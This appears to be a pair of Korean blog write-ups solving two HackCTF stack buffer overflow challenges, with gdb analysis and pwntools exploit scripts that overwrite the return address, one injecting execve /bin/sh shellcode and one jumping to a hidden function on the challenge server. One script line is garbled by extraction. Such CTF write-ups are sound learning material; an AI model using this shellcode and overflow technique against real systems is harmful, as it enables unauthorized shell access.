문제 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

파일을 실행해보면 buf주소를 출력하고, 입력을 받고 실행을 끝낸다.

checksec로 보호기법을 확인하면 다음과 같다.

NX보호기법이 걸려있지 않은걸로 보아 쉘코드도 삽입이 가능할 것 같다.

info func 명령으로 함수 목록을 봤을 때 main함수 말고 별 다른 함수 목록이 안보여서 main 함수의 어셈을 보면 다음과 같다.

0x6d30(27952)만큼의 크기에 gets함수로 입력을 받고있다.

gets함수가 끝난 main+96에 bp를 걸고 값을 입력하면 파일을 실행할 때 출력하는 buf 주소와 입력한 값이 들어간 주소가 동일함을 확인할 수 있다.

따라서 입력값에 쉘코드를 넣고 (27952(buf크기) - 쉘코드 길이) + 8(RET까지 거리)만큼 입력값을 채우고 buf의 주소를 받아서 넣으면 문제를 RET에 쉘코드가 들어간 buf주소가 들어가 쉘을 딸 수 있을 것 같다. 이를 파이썬 익스코드를 작성하고 실행하면 다음과 같이 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
p.recvuntil("buf: ")
buf = p64(int(p.recv(14), 16))
#print(buf)
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
 
pay = shell + "A"*27930 + buf
#print(pay)
p.send(pay)
p.interactive()
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10

Hack CTF pwnable 분야 이전 문제들에 대한 롸업은 Project H4C 게시판에 있다.

 

파일 명령어로 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

파일을 실행하면 문자열을 입력받고, Hello 입력받은 문자열 의 형태로 출력하고 있다 .

checksec로 확인해보면 NX보호기법이 적용되어 있다.

info func로 함수 정보를 보면 다음과 같다.

execve 함수가 사용됨을 확인할 수 있고, main함수 말고, callMeMaybe 함수도 있는것을 확인할 수 있다.

main함수와 callMeMaybe 함수의 어셈 코드를 확인하면 다음과 같다.

main 함수에서 0x110(272)만큼의 공간을 할당하고, scanf함수로 입력을 받고 있고, callMeMaybe함수에서 execve 함수를 실행하고 있다. main함수의 입력받는 부분에서 bof를 발생시켜 callMeMaybe함수를 실행시킬 수 있을 것 같다. 입력값으로 272(buffer) + 8(SFP)를 채우고 ret에 callMeMaybe함수의 주소를 넣으면 될 것 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3004)

pay = "A"*280
pay += p64(0x0000000000400606)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06

+ Recent posts